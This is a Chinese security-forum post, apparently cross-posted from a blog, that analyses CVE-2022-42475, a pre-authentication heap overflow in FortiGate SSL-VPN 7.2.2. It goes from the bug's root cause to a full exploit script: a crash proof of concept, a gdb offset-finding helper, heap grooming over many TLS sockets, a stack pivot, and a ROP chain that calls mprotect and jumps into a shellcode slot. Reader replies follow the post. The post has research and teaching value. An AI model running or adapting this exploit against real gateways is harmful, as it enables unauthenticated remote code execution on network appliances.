CVE-2022-42475 FortiGate SSLVPN 堆溢出漏洞研究
本帖最后由 40m41h42t 于 2023-8-24 11:22 编辑# CVE-2022-42475 FortiGate SSLVPN 堆溢出漏洞研究
> 本文亦同步发表在我的[个人博客](https://5ec.top/post/cve-2022-42475/)
{{% admonition info "Update 2023-08-24" %}}
根据 (https://i3r0nya.cn/wiki/note/reverse/cve-2022-42475/) 同学的[提醒](https://www.52pojie.cn/forum.php?mod=redirect&goto=findpost&ptid=1817079&pid=47739643),在 IDA 中搜索字符串 `run_command` 再搜索交叉引用可以搜索到 init 中内置的执行命令的函数,这可以为我们的利用带来很大的方便。
除此之外,程序挂的位置还是在 init 中而不是 libssl.so 中,因此覆写的位置其实并非 SSL 结构体,这一块的逻辑可能是异步读写的逻辑,这一块还需要再仔细研究。
{{% /admonition %}}
这是一个认证前 RCE,危害较大。
<!--more-->
## 漏洞描述
> A heap-based buffer overflow vulnerability \ in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
我们搭建 7.2.2 的环境,搭建运行环境的过程在此略过不表。该漏洞位于设备的 SSLVPN 中,目标二进制程序为 sslvpnd,也就是 init 程序,Fortigate 的所有功能都位于 init 程序中。
## 复现漏洞
已知漏洞位于解析 `Content-Length` 的位置,我们触发一下漏洞,poc 如下:
```python
import socket
import ssl
path = "/remote/login".encode()
content_length = [
"0", "-1", "2147483647", "2147483648", "-0",
"4294967295", "4294967296", "1111111111111", "22222222222"]
ip = "192.168.102.133"
for CL in content_length:
try:
data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \
ip.encode() + b"\r\nContent-Length: " + CL.encode() + \
b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, 4443))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
_socket.sendall(data)
res = _socket.recv(1024)
print(res)
if b"HTTP/1.1" not in res:
print("Error detected")
print(CL)
break
except Exception as e:
print(e)
print("Error detected")
print(CL)
break
```
当 CL 的值为 2147483647 时会让目标出错。
```
$ python poc.py
Error detected
2147483647
```
## 漏洞分析
接下来挂调试器分析
```sh
kill -9 $(ps|grep node|grep -v grep|awk '{print $1}') &&gdbserver 192.168.158.128:443 --attach $(ps|grep sslvpn|grep -v grep|awk '{print $1}')
```
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230711223951.png)
在访问 rdi 的时候遇到非法地址导致程序崩溃。
看一下栈:
```
pwndbg> bt 20
#00x00007f54383f976d in __memset_avx2_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#10x000000000164e6b9 in ?? () # in sub_164E670()
#20x0000000001785ba2 in ?? () # in sub_1785AB0()
#30x000000000177f56d in ?? () # in sub_177F4F0()
#40x0000000001780c20 in ?? () # in sub_1780B00()
#50x0000000001780cfe in ?? ()
#60x0000000001781211 in ?? ()
#70x00000000017824bc in ?? ()
#80x0000000001783842 in ?? ()
#90x0000000000448def in ?? ()
#10 0x0000000000451eca in ?? ()
#11 0x000000000044ea2c in ?? ()
#12 0x0000000000451138 in ?? ()
#13 0x0000000000451a61 in ?? ()
#14 0x00007f54382c2deb in __libc_start_main () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#15 0x0000000000443c8a in ?? ()
```
简单回溯一下,rdi 是 memset 的第一个参数,也就是在 memset 的时候访问了异常地址。
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230712214349.png)
再往前回溯,有趣的事情发生了,我们看到这里:
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230712214450.png)
根据调试信息,`` 保存的是 content length,但是取的时候只取了 4 字节,然后将 rax+1 作为 esi 并符号扩展。最后调用 malloc 函数。
很显然这里存在一个整数溢出:如果我们构造 content length 为特殊值比如 0x1b00000000,在运算之后的值为 1,导致后续内存分配一块很小的空间:
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230715234222.png)
但是后续 memcpy 的时候却会 copy 一块很大的空间:
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230715234252.png)
这就会导致堆溢出。
看一下关键函数 `sslvpn_read_post_data`:
```c
__int64 __fastcall sslvpn_read_post_data(_QWORD *a1)
{
__int64 *v1; // r12
struct struct_http_info *v2; // rax
struct struct_http_info *ctx; // rbx
int v4; // eax
int bytes; // r12d
__int64 offset; // rdi
__int64 v7; // rdx
int v8; // r12d
__int64 v10; // rdx
int v11; // r12d
v1 = (__int64 *)a1;
v2 = (struct struct_http_info *)sub_17902B0(a1);
ctx = v2;
if ( !v2->content )
v2->content = (char *)alloc((__int64 *)*v1, v2->content_length + 1);// 根据content_length分配内存,注意此处是取的4字节数据
v4 = ((__int64 (__fastcall *)(__int64 *, int *, __int64))read_data)(v1, &ctx->sock_buffer, 8190LL);
bytes = v4;
if ( v4 )
{
if ( v4 < 0 )
{
if ( (unsigned int)sub_16594C0(a1) - 1 <= 4 )
return 0LL;
}
else
{
offset = ctx->content_offset;
v7 = *(_QWORD *)&ctx->content_length; // 这里是用8字节content_length计算的,下面都是8字节content_length
if ( (int)offset + v4 > v7 )
bytes = *(_QWORD *)&ctx->content_length - offset;// 计算要拷贝的size
if ( v7 > offset )
{
memcpy(&ctx->content, &ctx->sock_buffer, bytes);// 从sock_buffer拷贝数据到content
v10 = *(_QWORD *)&ctx->content_length;
v11 = ctx->content_offset + bytes;
ctx->content_offset = v11;
if ( v11 < v10 )
return 0LL;
}
else
{
v8 = ctx->content_offset + bytes;
ctx->content_offset = v8;
if ( v8 < v7 )
return 0LL;
}
}
}
return 2LL;
}
```
这里的漏洞点显而易见,根据上面的伪代码和汇编,漏洞点在于申请内存的时候是先取 `content_length` 的4 字节再符号扩展为 8 字节,但是在后续使用 `content_length` 的时候却是原本的 8 字节,此时就会造成整数溢出。
## 漏洞利用
### 利用思路
简单看一下保护:
```
$ checksec --file=init_722
RELRO STACK CANARYNX PIE RPATH
Partial RELROCanary foundNX enabledNo PIENo RPATH
RUNPATH Symbols FORTIFYFortifiedFortifiableFILE
No RUNPATHNo SymbolsYes 10 47 init_722
```
{{% admonition info "利用点" %}}
结合之前 DEVCORE 利用 Fortios 堆溢出漏洞的经验,以及一些测试,通过发起多个 http 连接,可以让堆中分配多个 SSL 结构体,这样触发溢出,可以溢出到 `handshake_func` 函数指针,在溢出到函数指针后 rdx 指向可控数据,使用栈迁移相关的 gadget 即可完成利用.
此外由于 Fortios 的特点,进程崩溃后会立刻重启,因此可以多次尝试,直至溢出到函数指针,然后 ROP。
{{% /admonition %}}
溢出点如下图所示。
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Fortigate%20SSL%20structure.excalidraw.png)
{{% admonition tip "实际利用思路 (某些步骤不一定需要或者有用)" %}}
1. 创建 60 个 sock 连接,并发送不完整的 http 请求,希望能在服务端分配多个 SSL 结构体
2. 从第 40 个开始间隔释放 10 个 sock 链接,希望在服务端释放几个 SSL 结构体的 Hole.
3. 分配用于溢出的 exp_sk
4. 再分配 20 个 sock 连接,多分配几个 SSL 结构体
5. 触发溢出,希望修改 SSL 结构体中的函数指针
6. 给其他 socket 发送数据,等待函数指针调用
7. 劫持函数指针后,切换栈到可控数据区,然后 ROP 计算栈地址,调用 mprotect 让栈区有可执行权限
8. jmp esp 跳转到栈上的 shellcode 执行。
{{% /admonition %}}
### 调试偏移
这里提供一个小脚本,在 hit 到断点的时候输出此时 memcpy 的参数,并自动继续,在崩溃的时候输出崩溃地址的值,并计算相对偏移:
```python
import gdb
f = open("./log", "w")
def get_register(regname: str):
"""Return a register's value."""
try:
value = gdb.parse_and_eval(regname)
return int(value)
# return to_unsigned_long(value)
except gdb.error as e:
print(e)
assert (regname == '$')
regname = regname
try:
value = gdb.selected_frame().read_register(regname)
except ValueError:
return None
return int(value)
last = 0
mem_cnt = 0
mem_start = 0
def stop_handler(event):
global last, mem_cnt, mem_start
if isinstance(event, gdb.BreakpointEvent):
pc_val = get_register("$pc")
rdi_val = get_register("$rdi")
rsi_val = get_register("$rsi")
if pc_val == 0x1785b6a: # memcpy
f.write(f"dst: {hex(rdi_val)}, "
f"src: {hex(rsi_val)}, "
f"offset: {hex(rdi_val-last)}\n")
f.flush()
last = rdi_val
mem_cnt += 1
if mem_cnt == 61:
mem_start = rdi_val
gdb.execute("c")
if isinstance(event, gdb.SignalEvent):
if event.stop_signal in ["SIGABRT", "SIGSEGV"]:
pc_val = get_register("$pc")
rdx_val = get_register("$rdx")
if pc_val == 0x1780bfb:
mem_offset = rdx_val + 0xC0
offset = mem_offset - mem_start
f.write(f"crash addr: {hex(mem_offset)}\n")
f.write(f"offset: {hex(offset)}\n")
f.flush()
def register_stop_handler():
gdb.events.stop.connect(stop_handler)
if __name__ == "__main__":
register_stop_handler()
```
为了确定 SSL 结构体的位置和大小。我们把 sslvpn 打崩,看看此时内存分配的地址和函数指针距离的偏移:
```python
import socket
import ssl
from pwn import *
path = "/remote/login".encode()
ip = "192.168.102.133"
port = 4443
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
return _socket
socks = []
for i in range(60):
sk = create_ssl_ctx()
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: 4096\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
sk.sendall(data)
socks.append(sk)
for i in range(20, 40, 2):
sk = socks
sk.close()
socks = None
CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
exp_sk = create_ssl_ctx()
for i in range(20):
sk = create_ssl_ctx()
socks.append(sk)
exp_sk.sendall(data)
exp_sk.sendall(b'\x90'*0x100000)
for sk in socks:
if sk:
data = b"b" * 40
sk.sendall(data)
```
在崩溃之后,可以发现程序执行到了这个位置:
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230719104107.png)
向前跟踪一下指令,我们发现 rax 的值是从地址 `rdx+0C0h` 取出的,内存分配是在 0x7f5430acf418 完成的,`rdx+0C0h` 的值为 0x7f5430ad0238:
```
.text:0000000001780BE0 48 8B 82 C0 00 00 00 mov rax,
.text:0000000001780BE7 4C 89 EF mov rdi, r13
.text:0000000001780BEA 48 85 C0 test rax, rax
.text:0000000001780BED 0F 84 85 00 00 00 jz loc_1780C78
.text:0000000001780BED
.text:0000000001780BF3 5B pop rbx
.text:0000000001780BF4 41 5C pop r12
.text:0000000001780BF6 41 5D pop r13
.text:0000000001780BF8 41 5E pop r14
.text:0000000001780BFA 5D pop rbp
.text:0000000001780BFB FF E0 jmp rax
```
我们可以多次尝试查看偏移是否一致。偏移和 content length 有关,这个值会影响堆的布局,因此需要仔细挑选。下面我给出在 `content length = 100` 和 `content length = 4096` 时堆的分配情况:
`content length = 100` 时:
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230719145449.png)
`content length = 4096` 时:
![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230719145142.png)
可以看到,不同的值会影响堆的偏移。我选择了 4096 这个值。日志输出如下:
```
1: dst: 0x7f54324a6418, src: 0x7f5432505038, offset: 0x7f54324a6418
... ...
60: dst: 0x7f54308b8c18, src: 0x7f54308f2038, offset: -0x1b0800
61: dst: 0x7f5430acf418, src: 0x7f54325fc038, offset: 0x216800
62: dst: 0x7f5430acf41b, src: 0x7f54325fc038, offset: 0x3
63: crash addr: 0x7f5430ad0238
64: offset: 0xe20
```
在第 62 次地址分配之后调用了某个 SSL struct 的 `handshake_func` 函数指针,造成了崩溃,从崩溃地址到分配地址的距离为 0xe20。那么接下来我们可以借助这个偏移修改函数指针,迁移栈,劫持控制流了。
### 栈迁移
上文我们知道 rax 的值是从 `[$rdx+0xC0]` 中取的,因此我们可以将栈迁移到 rdx 上。
可以搜索到这一条 Gadget:
```
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
```
我们就可以很方便地迁移栈了:
```python
payload = b"A" * (0xe20-3-0xC0)
"""
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""
push_rdx_pop_rsp_ret = 0x000000000140583a
gadget = b""
assert(len(gadget) <= 0xC0)
victim_obj = gadget
victim_obj += b"B"*(192-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)
payload += victim_obj
```
### Ret2mprotect
在迁移栈后,开始考虑下一步操作。我希望能劫持控制流,执行自己的 shellcode,为了达成这个目标,我需要将一片可控内存区域变成可执行的区域。
在这里我们可以控制的区域是 rdx 指向的内存地址,而且我们还可以发现 ROP Gadget 中存在类似 `jmp rsp` 的 gadget,因此我们可以将这一段地址添加执行权限,最后 rop 到该地址执行。
首先找到一些必须的 Gadget:
```python
payload = b"A" * (0xe20-3-0xC0)
"""stack povit
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""
push_rdx_pop_rsp_ret = 0x000000000140583a
"""ret2 mprotect
0x000000000054dac8: mov rax, rdx; ret;
0x0000000002b83960: and rax, rcx; ret;
0x000000000257016a: push rdx; pop rdi; ret;
0x0000000002a0e1c0: add rdx, rax; mov eax, edx; sub eax, edi; ret;
0x000000000060f622: pop rdi; ret;
0x0000000000530c9e: pop rsi; ret;
0x0000000000509382: pop rdx; ret;
0x000000000046bb37: pop rax; ret;
0x000000000058f803: pop rcx; ret;
0x0000000002608366: add r13, r8; ret;
0x000000000048560d: jmp rsp;
"""
mov_rax_rdx_ret = 0x000000000054dac8
and_rax_rcx_ret = 0x0000000002b83960
add_rdx_rax_mov_eax_edx_sub_eax_edi_ret = 0x0000000002a0e1c0
push_rdx_pop_rdi_ret = 0x000000000257016a
pop_rdi_ret = 0x000000000060f622
pop_rsi_ret = 0x0000000000530c9e
pop_rdx_ret = 0x0000000000509382
pop_rax_ret = 0x000000000046bb37
pop_rcx_ret = 0x000000000058f803
jmp_rsp = 0x000000000048560d
junk_code = 0x0000000002608366
write_addr = 0x00000000059f8c00
mprotect_plt = 0x43F3E0
gadget = b""
# gadget += p64(mov_rax_rdx_ret) # rax=rdx
```
接下来构造 mprotect 的参数,计算 rdx 到整个段的偏移,获取其大小,并调用 mprotect 函数:
```python
# ret2mprotect
gadget += p64(pop_rax_ret)
gadget += p64(0xffffffffffd29e88) # offset
# gadget += p64(0)
gadget += p64(junk_code)
gadget += p64(junk_code)
gadget += p64(add_rdx_rax_mov_eax_edx_sub_eax_edi_ret)
gadget += p64(push_rdx_pop_rdi_ret)
gadget += p64(junk_code)
gadget += p64(junk_code)
gadget += p64(pop_rsi_ret)
gadget += p64(0x300000)
gadget += p64(pop_rdx_ret)# rdx=0x7
gadget += p64(7)
gadget += p64(mprotect_plt)
```
### 劫持控制流
最后通过 jmp rsp 劫持控制流,为了跳过之前布置的栈迁移代码,我们还可以在劫持最开始的控制流之后多跳几下:
``` python
gadget += p64(jmp_rsp)
gadget += asm('jmp $+0x58')
# print(gadget)
assert (len(gadget) <= 0xC0)
victim_obj = gadget
victim_obj += b"\x90"*(0xC0-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)
payload += victim_obj
# shellcode
payload += b'\x90'*0x100
exp_sk.sendall(payload)
```
在劫持控制流之后就天高任鸟飞啦,这里就不再进一步描述获取 shell 的步骤了,感兴趣的可以看 (https://ioo0s.art/2023/02/09/CVE-2022-42475/) 这一篇文章。
### Exp
最后的 exp 如下所示。不同版本的 FortiOS 可能要进行一些调整。
```python
import socket
import ssl
from pwn import *
import socket
import pathlib
path = "/remote/login".encode()
ip = "192.168.102.133"
port = 4443
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
return _socket
socks = []
for i in range(60):
sk = create_ssl_ctx()
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: 4096\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
sk.sendall(data)
socks.append(sk)
for i in range(20, 40, 2):
sk = socks
sk.close()
socks = None
CL = "115964116992"# 0x1b00000000
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: " + \
CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
exp_sk = create_ssl_ctx()
for i in range(20):
sk = create_ssl_ctx()
socks.append(sk)
exp_sk.sendall(data)
# exp_sk.sendall(b'\x90'*0x40000)
payload = b"A" * (0xe20-3-0xC0)
"""stack povit
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""
push_rdx_pop_rsp_ret = 0x000000000140583a
"""ret2 mprotect
0x000000000054dac8: mov rax, rdx; ret;
0x0000000002b83960: and rax, rcx; ret;
0x000000000257016a: push rdx; pop rdi; ret;
0x0000000002a0e1c0: add rdx, rax; mov eax, edx; sub eax, edi; ret;
0x000000000060f622: pop rdi; ret;
0x0000000000530c9e: pop rsi; ret;
0x0000000000509382: pop rdx; ret;
0x000000000046bb37: pop rax; ret;
0x000000000058f803: pop rcx; ret;
0x0000000002608366: add r13, r8; ret;
0x000000000048560d: jmp rsp;
"""
mov_rax_rdx_ret = 0x000000000054dac8
and_rax_rcx_ret = 0x0000000002b83960
add_rdx_rax_mov_eax_edx_sub_eax_edi_ret = 0x0000000002a0e1c0
push_rdx_pop_rdi_ret = 0x000000000257016a
pop_rdi_ret = 0x000000000060f622
pop_rsi_ret = 0x0000000000530c9e
pop_rdx_ret = 0x0000000000509382
pop_rax_ret = 0x000000000046bb37
pop_rcx_ret = 0x000000000058f803
jmp_rsp = 0x000000000048560d
junk_code = 0x0000000002608366
write_addr = 0x00000000059f8c00
mprotect_plt = 0x43F3E0
gadget = b""
# gadget += p64(mov_rax_rdx_ret) # rax=rdx
# ret2mprotect
gadget += p64(pop_rax_ret)
gadget += p64(0xffffffffffd29e88)
# gadget += p64(0)
gadget += p64(junk_code)
gadget += p64(junk_code)
gadget += p64(add_rdx_rax_mov_eax_edx_sub_eax_edi_ret)
gadget += p64(push_rdx_pop_rdi_ret)
gadget += p64(junk_code)
gadget += p64(junk_code)
gadget += p64(pop_rsi_ret)
gadget += p64(0x300000)
gadget += p64(pop_rdx_ret)# rdx=0x7
gadget += p64(7)
gadget += p64(mprotect_plt)
gadget += p64(jmp_rsp)
gadget += asm('jmp $+0x58')
# print(gadget)
assert (len(gadget) <= 0xC0)
victim_obj = gadget
victim_obj += b"\x90"*(0xC0-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)
payload += victim_obj
# shellcode
payload += b'\x90'*0x100
exp_sk.sendall(payload)
for sk in socks:
if sk:
data = b"b" * 40
sk.sendall(data)
print("Done")
```
## 参考资料
- (https://nvd.nist.gov/vuln/detail/cve-2022-42475)
- (https://wzt.ac.cn/2022/12/15/CVE-2022-42475/)
- (https://ioo0s.art/2023/02/09/CVE-2022-42475/)
- (https://forum.butian.net/share/2166)
- (https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/)
- ~~(https://bishopfox.com/blog/exploit-cve-2022-42475)~~:这篇文章的 poc 在 FortiOS 7.2.2 虚拟机上会报 Request Entity Too Large 的错误,文章作者是在 FortiGate 100D(FortiOS 6.0.4)上测试的。也许版本更迭修复了 `logincheck` 路由的问题。 本帖最后由 TGFpbgCarol 于 2023-8-22 09:54 编辑
后面利用其实有个特别简单的方式,你可以搜一下run_command字符串找一下相关的函数
我自己也写了这个漏洞的复现 https://i3r0nya.cn/wiki/note/reverse/cve-2022-42475/
以及你这个应该也是停在init中的,我觉得应该不是SSL那个结构体中的handshake_func,这块的逻辑是个异步读写,可能是某个其他的结构体中的函数指针 謝謝分享 謝謝分享 感谢分享 感谢分享,参考学习 好好,感谢分享! 好帖,感谢分享 学习一下,感谢分享 感谢楼主,了解了溢出攻击方法 小白路过,有点难度,学一下~
页:
[1]
2